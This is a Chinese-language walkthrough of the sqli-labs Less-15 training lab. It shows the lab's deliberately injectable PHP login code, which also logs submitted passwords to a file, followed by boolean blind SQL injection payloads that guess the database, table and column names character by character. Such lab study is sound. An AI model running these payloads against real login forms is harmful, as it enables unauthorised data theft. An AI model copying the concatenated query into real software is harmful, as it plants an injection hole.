摘要 {#摘要}
本文主要介绍了Less-15注入漏洞的实验过程和优化注入语句的方法。通过构造payload来获取数据库的名称、表名、列名以及相应的数据,并提到了注入漏洞的危害以及如何避免注入漏洞的发生。在实验过程中,我们还介绍了ASCII码表的使用,并演示了如何通过猜解ASCII码来确定数据库名称、表名和字段名。最后,我们提醒读者在实际开发和运维中要注意防范和避免注入漏洞的发生,以确保系统和数据的安全。
前言 {#前言}
到了第十五关,发现跟前面靶场貌似没什么区别,按照以往思路,尝试一下报错的手段发现他并没有输出我们的报错语句,那么看看我们的源码,发现这里也确实是没有输出,于是我们可以尝试利用盲注的手段。 源码如下
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
//echo '&lt;font color= "#0000ff"&gt;';
echo &quot;&amp;lt;br&amp;gt;&quot;;
echo '&amp;lt;font color= &quot;#FFFF00&quot; font size = 4&amp;gt;';
//echo &quot; You Have successfully logged in\n\n &quot; ;
echo '&amp;lt;font size=&quot;3&quot; color=&quot;#0000ff&quot;&amp;gt;';
echo &quot;&amp;lt;br&amp;gt;&quot;;
//echo 'Your Login name:'. $row['username'];
echo &quot;&amp;lt;br&amp;gt;&quot;;
//echo 'Your Password:' .$row['password'];
echo &quot;&amp;lt;br&amp;gt;&quot;;
echo &quot;&amp;lt;/font&amp;gt;&quot;;
echo &quot;&amp;lt;br&amp;gt;&quot;;
echo &quot;&amp;lt;br&amp;gt;&quot;;
echo '&amp;lt;img src=&quot;../images/flag.jpg&quot; /&amp;gt;';
echo &quot;&amp;lt;/font&amp;gt;&quot;;
}
else
{
echo '&lt;font color= "#0000ff" font size="3"&gt;';
//echo "Try again looser";
//print_r(mysql_error());
echo "&lt;/br&gt;";
echo "&lt;/br&gt;";
echo "&lt;/br&gt;";
echo '&lt;img src="../images/slap.jpg" /&gt;';
echo "&lt;/font&gt;";
}
}
?>
前期准备 {#前期准备}
开启phpstudy,开启apache服务以及mysql服务 打开ASCII表
实验环节 {#实验环节}
浏览器访问Less-15 {#浏览器访问Less-15}
http://127.0.0.1/sqli-labs-master/Less-15/
判断库名长度 {#判断库名长度}
' or (length(database()))=8 -- xz
#页面正常显示成功登录字样,说明库名长度为8
利用ASCII码猜解当前数据库名称 {#利用ASCII码猜解当前数据库名称}
' or (ascii(substr(database(),1,1)))=115-- xz
#返回正常,说明数据库名称第一位是s
' or (ascii(substr(database(),2,1)))=101-- xz
#返回正常,说明数据库名称第二位是e
......以此类推,跟之前类似我就不给大家演示具体操作了
判断表名 {#判断表名}
' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101-- xz
#返回正常,说明数据库表名的第一个的第一位是e
.....以此类推说明该表名是emails
判断字段名 {#判断字段名}
'or (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105-- xz
#返回正常,说明emails表中的列名称第一位是i
......以此类推该字段名为id